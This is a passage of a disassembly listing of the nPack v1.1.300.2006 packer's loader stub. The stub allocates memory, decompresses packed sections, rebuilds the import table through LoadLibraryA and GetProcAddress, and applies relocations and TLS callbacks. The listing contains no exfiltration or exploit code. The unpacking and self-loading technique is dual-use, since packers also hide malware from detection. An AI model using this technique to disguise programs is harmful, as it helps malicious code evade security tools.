[esi+27h], 10h jz short loc_4962D7 test ds:byte_496E1C, 1 jnz loc_4963F2 loc_4962D7: ; CODE XREF: sub_49627A+4Ej push ebp push esi push 2 call sub_496000 add esp, 0Ch test eax, eax jz short loc_4962FB cmp ds:dword_496E0C, ebx jz loc_4963F2 mov [esp+1Ch+var_C], 1 loc_4962FB: ; CODE XREF: sub_49627A+6Bj push ebp push esi push ebx call sub_496000 add esp, 0Ch test eax, eax jnz loc_4963F2 mov edi, 3000h push 4 push edi push dword ptr [esi+10h] push ebx call ds:dword_496E44 ; VirtualAlloc cmp [esp+18h+var_8], 0 mov ebx, eax jz short loc_496375 mov ecx, [esi+10h] mov eax, ds:dword_496E0C sub ecx, eax push ecx mov ecx, [esi+0Ch] add ecx, eax add ecx, ds:dword_496E48 push ecx push ebx call sub_49603A mov eax, ds:dword_496E0C add esp, 0Ch test eax, eax jz short loc_49638B push 4 push edi push eax push 0 call ds:dword_496E44 ; VirtualAlloc mov ecx, [esi+0Ch] push ds:dword_496E0C add ecx, ds:dword_496E48 mov [esp+1Ch], eax push ecx push eax jmp short loc_496383 ; --------------------------------------------------------------------------- loc_496375: ; CODE XREF: sub_49627A+ADj mov eax, [esi+0Ch] push dword ptr [esi+10h] add eax, ds:dword_496E48 push eax push ebx loc_496383: ; CODE XREF: sub_49627A+F9j call sub_49603A add esp, 0Ch loc_49638B: ; CODE XREF: sub_49627A+D6j mov edi, [esi+0Ch] add edi, ds:dword_496E48 push edi push ebx call sub_496080 pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_4963B3 mov cl, ds:byte_496E18 push ecx push eax push edi call sub_49605F add esp, 0Ch loc_4963B3: ; CODE XREF: sub_49627A+126j push 4000h push 0 push ebx call ds:dword_496E40 ; VirtualFree cmp [esp+1Ch+var_C], 0 jz short loc_4963EB cmp ds:dword_496E0C, 0 jz short loc_4963EB push edi push [esp+20h+var_4] call sub_4964F3 pop ecx pop ecx push 4000h push 0 push ebx call ds:dword_496E40 ; VirtualFree loc_4963EB: ; CODE XREF: sub_49627A+14Cj ; sub_49627A+155j add esi, 28h xor ebx, ebx jmp short loc_4963F5 ; --------------------------------------------------------------------------- loc_4963F2: ; CODE XREF: sub_49627A+3Bj ; sub_49627A+44j ... add esi, 28h loc_4963F5: ; CODE XREF: sub_49627A+176j movzx eax, word ptr [ebp+6] inc [esp+1Ch+var_8] dec eax cmp [esp+1Ch+var_8], eax jl loc_4962AE pop edi loc_496409: ; CODE XREF: sub_49627A+2Dj pop esi pop ebp pop ebx add esp, 0Ch retn sub_49627A endp ; =============== S U B R O U T I N E ======================================= sub_496410 proc near ; CODE XREF: start+2Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 mov eax, ds:dword_496E04 sub esp, 0Ch push esi xor esi, esi cmp eax, esi push edi jz short loc_496461 mov ecx, ds:dword_496E48 cmp [ecx+eax+10h], esi lea edi, [ecx+eax] jz short loc_496461 push ebx push ebp loc_496431: ; CODE XREF: sub_496410+4Dj mov ebx, [edi+0Ch] add ebx, ds:dword_496E48 push ebx call ds:dword_496C00 ; LoadLibraryA cmp eax, esi mov [esp+1Ch+var_8], eax jnz short loc_496467 push esi push esi push ebx push esi call sub_4969A0 add esp, 10h loc_496455: ; CODE XREF: sub_496410+71j add edi, 14h xor esi, esi cmp [edi+10h], esi jnz short loc_496431 pop ebp pop ebx loc_496461: ; CODE XREF: sub_496410+Ej ; sub_496410+1Dj pop edi pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_496467: ; CODE XREF: sub_496410+37j mov ebp, [edi] cmp ebp, esi jnz short loc_496470 mov ebp, [edi+10h] loc_496470: ; CODE XREF: sub_496410+5Bj mov eax, ds:dword_496E48 mov esi, [edi+10h] add ebp, eax add esi, eax loc_49647C: ; CODE XREF: sub_496410+E1j mov eax, [ebp+0] test eax, eax jz short loc_496455 test eax, 80000000h jz short loc_4964B3 and eax, 0FFFFh mov [esp+1Ch+var_4], eax movzx eax, ax push eax push [esp+20h+var_8] call ds:dword_496C08 ; GetProcAddress test eax, eax mov [esp+1Ch+var_C], eax jnz short loc_4964E5 push [esp+1Ch+var_4] push eax push ebx push 1 jmp short loc_4964DD ; --------------------------------------------------------------------------- loc_4964B3: ; CODE XREF: sub_496410+78j mov ecx, ds:dword_496E48 add eax, ecx add eax, 2 push eax mov [esp+20h+var_4], eax push [esp+20h+var_8] call ds:dword_496C08 ; GetProcAddress test eax, eax mov [esp+1Ch+var_C], eax jnz short loc_4964E5 push eax push [esp+20h+var_4] push ebx push 2 loc_4964DD: ; CODE XREF: sub_496410+A1j call sub_4969A0 add esp, 10h loc_4964E5: ; CODE XREF: sub_496410+97j ; sub_496410+C3j mov eax, [esp+1Ch+var_C] add ebp, 4 mov [esi], eax add esi, 4 jmp short loc_49647C sub_496410 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4964F3 proc near ; CODE XREF: sub_49627A+15Cp var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 74h push ebx push esi push edi and [ebp+var_14], 0 mov [ebp+var_20], 1 loc_496507: ; CODE XREF: sub_4964F3+258j and [ebp+var_8], 0 and [ebp+var_4], 0 mov eax, [ebp+arg_0] movzx eax, word ptr [eax+0Eh] mov ecx, [ebp+arg_0] movzx ecx, word ptr [ecx+0Ch] add eax, ecx mov [ebp+var_C], eax mov eax, [ebp+arg_0] add eax, 10h mov [ebp+var_18], eax mov eax, [ebp+arg_4] add eax, 10h mov [ebp+var_10], eax and [ebp+var_1C], 0 jmp short loc_496541 ; --------------------------------------------------------------------------- loc_49653A: ; CODE XREF: sub_4964F3+31Cj mov eax, [ebp+var_1C] inc eax mov [ebp+var_1C], eax loc_496541: ; CODE XREF: sub_4964F3+45j mov eax, [ebp+var_1C] cmp eax, [ebp+var_C] jge loc_496814 mov eax, [ebp+var_18] mov eax, [eax+4] shr eax, 1Fh and eax, 1 test eax, eax jz loc_4967FD mov eax, [ebp+var_18] mov eax, [eax+4] and eax, 7FFFFFFFh add eax, [ebp+arg_0] mov [ebp+var_2C], eax mov eax, [ebp+var_10] mov eax, [eax+4] and eax, 7FFFFFFFh add eax, [ebp+arg_4] mov [ebp+var_34], eax mov eax, [ebp+var_2C] movzx eax, word ptr [eax+0Eh] mov ecx, [ebp+var_2C] movzx ecx, word ptr [ecx+0Ch] add eax, ecx mov [ebp+var_28], eax mov eax, [ebp+var_2C] add eax, 10h mov [ebp+var_24], eax mov eax, [ebp+var_34] add eax, 10h mov [ebp+var_38], eax and [ebp+var_30], 0 jmp short loc_4965B5 ; --------------------------------------------------------------------------- loc_4965AE: ; CODE XREF: sub_4964F3+305j mov eax, [ebp+var_30] inc eax mov [ebp+var_30], eax loc_4965B5: ; CODE XREF: sub_4964F3+B9j mov eax, [ebp+var_30] cmp eax, [ebp+var_28] jge loc_4967FD mov eax, [ebp+var_24] mov eax, [eax+4] shr eax, 1Fh and eax, 1 test eax, eax jz loc_4967E6 mov eax, [ebp+var_24] mov eax, [eax+4] and eax, 7FFFFFFFh add eax, [ebp+arg_0] mov [ebp+var_50], eax mov eax, [ebp+var_38] mov eax, [eax+4] and eax, 7FFFFFFFh add eax, [ebp+arg_4] mov [ebp+var_40], eax mov eax, [ebp+var_50] movzx eax, word ptr [eax+0Eh] mov ecx, [ebp+var_50] movzx ecx, word ptr [ecx+0Ch] add eax, ecx mov [ebp+var_3C], eax mov eax, [ebp+var_50] add eax, 10h mov [ebp+var_4C], eax mov eax, [ebp+var_40] add eax, 10h mov [ebp+var_44], eax and [ebp+var_48], 0 jmp short loc_496629 ; --------------------------------------------------------------------------- loc_496622: ; CODE XREF: sub_4964F3+2EEj mov eax, [ebp+var_48] inc eax mov [ebp+var_48], eax loc_496629: ; CODE XREF: sub_4964F3+12Dj mov eax, [ebp+var_48] cmp eax, [ebp+var_3C] jge loc_4967E6 mov eax, [ebp+var_4C] mov eax, [eax+4] and eax, 80000000h test eax, eax jnz loc_4967CF mov eax, [ebp+var_4C] mov ecx, [ebp+arg_0] add ecx, [eax+4] mov [ebp+var_54], ecx mov eax, [ebp+var_44] mov ecx, [ebp+arg_4] add ecx, [eax+4] mov [ebp+var_58], ecx mov eax, [ebp+var_18] mov eax, [eax] mov [ebp+var_70], eax mov eax, [ebp+var_70] mov [ebp+var_74], eax sub [ebp+var_74], 3 cmp [ebp+var_74], 0 jz short loc_4966A7 sub [ebp+var_74], 0Bh cmp [ebp+var_74], 0 jz loc_496725 sub [ebp+var_74], 2 cmp [ebp+var_74], 0 jz loc_496793 sub [ebp+var_74], 8 cmp [ebp+var_74], 0 jz loc_496793 jmp loc_4967CF ; --------------------------------------------------------------------------- loc_4966A7: ; CODE XREF: sub_4964F3+183j cmp [ebp+var_20], 0 jz short loc_4966B2 jmp loc_4967CF ; --------------------------------------------------------------------------- loc_4966B2: ; CODE XREF: sub_4964F3+1B8j and [ebp+var_5C], 0 jmp short loc_4966BF ; --------------------------------------------------------------------------- loc_4966B8: ; CODE XREF: sub_4964F3:loc_49671Ej mov eax, [ebp+var_5C] inc eax mov [ebp+var_5C], eax loc_4966BF: ; CODE XREF: sub_4964F3+1C3j mov eax, [ebp+var_14] movzx eax, word ptr [eax+4] cmp [ebp+var_5C], eax jge short loc_496720 mov eax, [ebp+var_24] movzx eax, word ptr [eax] mov ecx, [ebp+var_5C] imul ecx, 0Eh mov edx, [ebp+var_14] movzx ecx, word ptr [edx+ecx+12h] cmp eax, ecx jnz short loc_49671E mov eax, [ebp+arg_4] sub eax, ds:dword_496E48 mov ecx, [ebp+var_54] mov ecx, [ecx] sub ecx, eax mov [ebp+var_60], ecx mov eax, [ebp+var_54] push dword ptr [eax+4] mov eax, [ebp+var_60] add eax, [ebp+arg_0] push eax mov eax, [ebp+var_58] mov eax, [eax] add eax, ds:dword_496E48 push eax call sub_49603A add esp, 0Ch mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_49671E: ; CODE XREF: sub_4964F3+1EEj jmp short loc_4966B8 ; --------------------------------------------------------------------------- loc_496720: ; CODE XREF: sub_4964F3+1D6j jmp loc_4967CF ; --------------------------------------------------------------------------- loc_496725: ; CODE XREF: sub_4964F3+18Dj cmp [ebp+var_20], 0 jz short loc_496750 mov eax, [ebp+arg_4] sub eax, ds:dword_496E48 mov ecx, [ebp+var_54] mov ecx, [ecx] sub ecx, eax mov [ebp+var_64], ecx mov eax, [ebp+var_64] add eax, [ebp+arg_0] mov [ebp+var_14], eax and [ebp+var_20], 0 jmp loc_496507 ; --------------------------------------------------------------------------- loc_496750: ; CODE XREF: sub_4964F3+236j cmp [ebp+var_4], 1 jnb short loc_496791 mov eax, [ebp+arg_4] sub eax, ds:dword_496E48 mov ecx, [ebp+var_54] mov ecx, [ecx] sub ecx, eax mov [ebp+var_68], ecx mov eax, [ebp+var_54] push dword ptr [eax+4] mov eax, [ebp+var_68] add eax, [ebp+arg_0] push eax mov eax, [ebp+var_58] mov eax, [eax] add eax, ds:dword_496E48 push eax call sub_49603A add esp, 0Ch mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_496791: ; CODE XREF: sub_4964F3+261j jmp short loc_4967CF ; --------------------------------------------------------------------------- loc_496793: ; CODE XREF: sub_4964F3+19Bj ; sub_4964F3+1A9j cmp [ebp+var_20], 0 jz short loc_49679B jmp short loc_4967CF ; --------------------------------------------------------------------------- loc_49679B: ; CODE XREF: sub_4964F3+2A4j mov eax, [ebp+arg_4] sub eax, ds:dword_496E48 mov ecx, [ebp+var_54] mov ecx, [ecx] sub ecx, eax mov [ebp+var_6C], ecx mov eax, [ebp+var_54] push dword ptr [eax+4] mov eax, [ebp+var_6C] add eax, [ebp+arg_0] push eax mov eax, [ebp+var_58] mov eax, [eax] add eax, ds:dword_496E48 push eax call sub_49603A add esp, 0Ch loc_4967CF: ; CODE XREF: sub_4964F3+14Fj ; sub_4964F3+1AFj ... mov eax, [ebp+var_4C] add eax, 8 mov [ebp+var_4C], eax mov eax, [ebp+var_44] add eax, 8 mov [ebp+var_44], eax jmp loc_496622 ; --------------------------------------------------------------------------- loc_4967E6: ; CODE XREF: sub_4964F3+DCj ; sub_4964F3+13Cj mov eax, [ebp+var_24] add eax, 8 mov [ebp+var_24], eax mov eax, [ebp+var_38] add eax, 8 mov [ebp+var_38], eax jmp loc_4965AE ; --------------------------------------------------------------------------- loc_4967FD: ; CODE XREF: sub_4964F3+68j ; sub_4964F3+C8j mov eax, [ebp+var_18] add eax, 8 mov [ebp+var_18], eax mov eax, [ebp+var_10] add eax, 8 mov [ebp+var_10], eax jmp loc_49653A ; --------------------------------------------------------------------------- loc_496814: ; CODE XREF: sub_4964F3+54j pop edi pop esi pop ebx leave retn sub_4964F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_496819 proc near ; CODE XREF: start+38p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ds:dword_496E48 call sub_496030 cmp dword ptr [eax+0C0h], 0 pop ecx jz short loc_49687A mov eax, ds:dword_496E50 mov ds:dword_496E2C, eax mov ecx, ds:dword_496E50 mov edx, large fs:2Ch mov ecx, [edx+ecx*4] mov [ebp+var_4], ecx mov ecx, ds:dword_496E28 mov eax, ds:dword_496E24 sub ecx, eax push ecx push eax push [ebp+var_4] call sub_49603A push ds:dword_496E34 push ds:dword_496E28 call sub_49604E add esp, 14h loc_49687A: ; CODE XREF: sub_496819+17j cmp ds:dword_496E58, 0 push ebx push esi push edi mov ds:dword_496E54, 1 jz short loc_4968C0 mov esi, ds:dword_496E30 mov eax, ds:dword_496E5C mov edi, ds:dword_496E64 mov ebx, ds:dword_496E60 test esi, esi mov [ebp+var_4], eax jz short loc_4968C0 loc_4968AE: ; CODE XREF: sub_496819+A5j mov eax, [esi] test eax, eax jz short loc_4968C0 push edi push ebx push [ebp+var_4] call eax add esi, 4 jmp short loc_4968AE ; --------------------------------------------------------------------------- loc_4968C0: ; CODE XREF: sub_496819+75j ; sub_496819+93j ... pop edi pop esi pop ebx leave retn sub_496819 endp ; =============== S U B R O U T I N E ======================================= sub_4968C5 proc near ; CODE XREF: start+33p var_4 = dword ptr -4 push ecx push ebx push ebp push esi push edi push ds:dword_496E48 call sub_496030 mov edx, ds:dword_496E48 mov edi, ds:dword_496E14 mov esi, edx pop ecx sub esi, [eax+34h] lea ecx, [edi+edx] jz loc_49699A test edi, edi jz loc_49699A cmp dword ptr [ecx], 0 jz loc_49699A mov edi, 0FFFh loc_496906: ; CODE XREF: sub_4968C5+CFj mov eax, [ecx+4] sub eax, 8 shr eax, 1 jz loc_49699A test eax, eax lea ebx, [ecx+8] jbe short loc_49698E mov [esp+14h+var_4], eax loc_49691F: ; CODE XREF: sub_4968C5+C7j movzx eax, word ptr [ebx] mov ebp, eax and bp, 0F000h cmp ebp, 3000h jnz short loc_49693F and eax, edi add eax, [ecx] add eax, edx add [eax], esi mov edx, ds:dword_496E48 loc_49693F: ; CODE XREF: sub_4968C5+6Aj movzx eax, word ptr [ebx] mov ebp, eax and bp, 0F000h cmp ebp, 1000h jnz short loc_496965 and eax, edi add eax, [ecx] add eax, edx mov edx, esi shr edx, 10h add [eax], dx mov edx, ds:dword_496E48 loc_496965: ; CODE XREF: sub_4968C5+8Aj movzx eax, word ptr [ebx] mov ebp, eax and bp, 0F000h cmp ebp, 2000h jnz short loc_496986 and eax, edi add eax, [ecx] add eax, edx add [eax], si mov edx, ds:dword_496E48 loc_496986: ; CODE XREF: sub_4968C5+B0j inc ebx inc ebx dec [esp+14h+var_4] jnz short loc_49691F loc_49698E: ; CODE XREF: sub_4968C5+54j add ecx, [ecx+4] cmp dword ptr [ecx], 0 jnz loc_496906 loc_49699A: ; CODE XREF: sub_4968C5+25j ; sub_4968C5+2Dj ... pop edi pop esi pop ebp pop ebx pop ecx retn sub_4968C5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4969A0 proc near ; CODE XREF: sub_496410+3Dp ; sub_496410:loc_4964DDp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h push ebp mov ebp, esp push esi push 4 push 3000h push 0FFh push 0 call ds:dword_496E44 ; VirtualAlloc mov esi, eax mov eax, [ebp+arg_0] sub eax, 0 jz short loc_4969EE dec eax jz short loc_4969DF dec eax jnz short loc_496A00 push [ebp+arg_4] push [ebp+arg_8] push offset aTheProcedureEn ; "The procedure entry point %s could not "... loc_4969D3: ; CODE XREF: sub_4969A0+4Cj push esi call ds:dword_496C10 ; wsprintfA add esp, 10h jmp short loc_496A00 ; --------------------------------------------------------------------------- loc_4969DF: ; CODE XREF: sub_4969A0+23j movzx eax, [ebp+arg_C] push [ebp+arg_4] push eax push offset aTheOrdinalUCou ; "The ordinal %u could not be located in "... jmp short loc_4969D3 ; --------------------------------------------------------------------------- loc_4969EE: ; CODE XREF: sub_4969A0+20j push [ebp+arg_4] push offset aCouldNotLoadDy ; "Could not load dynamic link library %s."... push esi call ds:dword_496C10 ; wsprintfA add esp, 0Ch loc_496A00: ; CODE XREF: sub_4969A0+26j ; sub_4969A0+3Dj push 10h push offset aNpackV1_1_300_ ; "nPack v1.1.300.2006: Loader Error" push esi push 0 call ds:dword_496C14 ; MessageBoxA push 4000h push 0 push esi call ds:dword_496E40 ; VirtualFree push 0FFFFFFFFh call ds:dword_496C04 ; ExitProcess pop esi pop ebp retn sub_4969A0 endp ; --------------------------------------------------------------------------- db 3 dup(0CCh) dd 0CCCCCCCCh ; =============== S U B R O U T I N E ======================================= sub_496A30 proc near ; CODE XREF: sub_496080+Ap var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 00496ACF SIZE 0000000A BYTES pusha mov esi, [esp+20h+arg_0] mov edi, [esp+20h+arg_4] cld mov dl, 80h xor ebx, ebx loc_496A3E: ; CODE XREF: sub_496A30+16j movsb mov bl, 2 loc_496A41: ; CODE XREF: sub_496A30+3Bj ; sub_496A30+81j call sub_496AB3 jnb short loc_496A3E xor ecx, ecx call sub_496AB3 jnb short loc_496A6D xor eax, eax call sub_496AB3 jnb short loc_496A7D mov bl, 2 inc ecx mov al, 10h loc_496A5F: ; CODE XREF: sub_496A30+36j call sub_496AB3 adc al, al jnb short loc_496A5F jnz short loc_496AA9 stosb jmp short loc_496A41 ; --------------------------------------------------------------------------- loc_496A6D: ; CODE XREF: sub_496A30+1Fj call sub_496ABF sub ecx, ebx jnz short loc_496A86 call sub_496ABD jmp short loc_496AA5 ; --------------------------------------------------------------------------- loc_496A7D: ; CODE XREF: sub_496A30+28j lodsb shr eax, 1 jz short loc_496ACF adc ecx, ecx jmp short loc_496AA2 ; --------------------------------------------------------------------------- loc_496A86: ; CODE XREF: sub_496A30+44j xchg eax, ecx dec eax shl eax, 8 lodsb call sub_496ABD cmp eax, 7D00h jnb short loc_496AA2 cmp ah, 5 jnb short loc_496AA3 cmp eax, 7Fh ja short loc_496AA4 loc_496AA2: ; CODE XREF: sub_496A30+54j ; sub_496A30+66j inc ecx loc_496AA3: ; CODE XREF: sub_496A30+6Bj inc ecx loc_496AA4: ; CODE XREF: sub_496A30+70j xchg eax, ebp loc_496AA5: ; CODE XREF: sub_496A30+4Bj mov eax, ebp mov bl, 1 loc_496AA9: ; CODE XREF: sub_496A30+38j push esi mov esi, edi sub esi, eax rep movsb pop esi jmp short loc_496A41 sub_496A30 endp ; =============== S U B R O U T I N E ======================================= sub_496AB3 proc near ; CODE XREF: sub_496A30:loc_496A41p ; sub_496A30+1Ap ... add dl, dl jnz short locret_496ABC mov dl, [esi] inc esi adc dl, dl locret_496ABC: ; CODE XREF: sub_496AB3+2j retn sub_496AB3 endp ; =============== S U B R O U T I N E ======================================= sub_496ABD proc near ; CODE XREF: sub_496A30+46p ; sub_496A30+5Cp xor ecx, ecx sub_496ABD endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_496ABF proc near ; CODE XREF: sub_496A30:loc_496A6Dp inc ecx loc_496AC0: ; CODE XREF: sub_496ABF+Dj call sub_496AB3 adc ecx, ecx call sub_496AB3 jb short loc_496AC0 retn sub_496ABF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_496A30 loc_496ACF: ; CODE XREF: sub_496A30+50j sub edi, [esp+20h+arg_4] mov [esp+20h+var_4], edi popa retn ; END OF FUNCTION CHUNK FOR sub_496A30 ; --------------------------------------------------------------------------- align 4 dd 49h dup(0) dword_496C00 dd 77E805D8h ; DATA XREF: sub_49620A+7r ; sub_496410+2Br dword_496C04 dd 77E75CB5h ; DATA XREF: sub_4969A0+80r dword_496C08 dd 77E7A5FDh ; DATA XREF: sub_49620A+Dr ; sub_496410+8Br ... align 10h dword_496C10 dd 77D4C96Ah ; DATA XREF: sub_4969A0+34r ; sub_4969A0+57r dword_496C14 dd 77D6ADD7h ; DATA XREF: sub_4969A0+6Ar dd 0 dd 96C58h, 2 dup(0) dd 96CA4h, 96C00h, 96C68h, 2 dup(0) dd 96CCCh, 96C10h, 5 dup(0) dd 96C86h, 96C96h, 96C74h, 0 dd 96CC0h, 96CB2h, 0 dd 6547013Eh, 6F725074h, 64644163h, 73736572h, 1C20000h dd 64616F4Ch, 7262694Ch, 41797261h, 7D0000h, 74697845h dd 636F7250h, 737365h, 4E52454Bh, 32334C45h, 6C6C642Eh dd 1BE0000h, 7373654Dh, 42656761h, 41786Fh, 737702ACh dd 6E697270h, 416674h, 52455355h, 642E3233h, 6C6Ch, 4Ah dup(0) off_496E00 dd offset sub_417ED0 ; DATA XREF: start+4Cw start+52r ... dword_496E04 dd 95000h ; DATA XREF: sub_496410r dword_496E08 dd 961B0h ; DATA XREF: start+1Er dword_496E0C dd 0 ; DATA XREF: sub_49627A+6Dr ; sub_49627A+B2r ... dd 0 dword_496E14 dd 0 ; DATA XREF: sub_4968C5+16r byte_496E18 db 74h ; DATA XREF: sub_49627A+128r align 4 byte_496E1C db 1 ; DATA XREF: sub_49627A+50r align 10h dd 0 dword_496E24 dd 0 ; DATA XREF: sub_496819+3Cr dword_496E28 dd 0 ; DATA XREF: sub_496819+36r ; sub_496819+53r dword_496E2C dd 0 ; DATA XREF: sub_496819+1Ew dword_496E30 dd 0 ; DATA XREF: sub_496819+77r dword_496E34 dd 0 ; DATA XREF: sub_496819+4Dr align 10h dword_496E40 dd 77E79E34h ; DATA XREF: sub_49620A+2Bw ; sub_49623C+35r ... dword_496E44 dd 77E7980Ah ; DATA XREF: sub_49620A+23w ; sub_49623C+Dr ... dword_496E48 dd 400000h ; DATA XREF: start+24w start+3Dr ... dword_496E4C dd 1 ; DATA XREF: startr start+42w dword_496E50 dd 0 ; DATA XREF: sub_496819+19r ; sub_496819+23r dword_496E54 dd 1 ; DATA XREF: sub_496819+6Bw dword_496E58 dd 0 ; DATA XREF: sub_496819:loc_49687Ar dword_496E5C dd 0 ; DATA XREF: sub_496819+7Dr dword_496E60 dd 0 ; DATA XREF: sub_496819+88r dword_496E64 dd 0 ; DATA XREF: sub_496819+82r align 200h _nPack ends ; Section 6. (virtual address 00097000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00097000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 497000h align 2000h _idata2 ends end start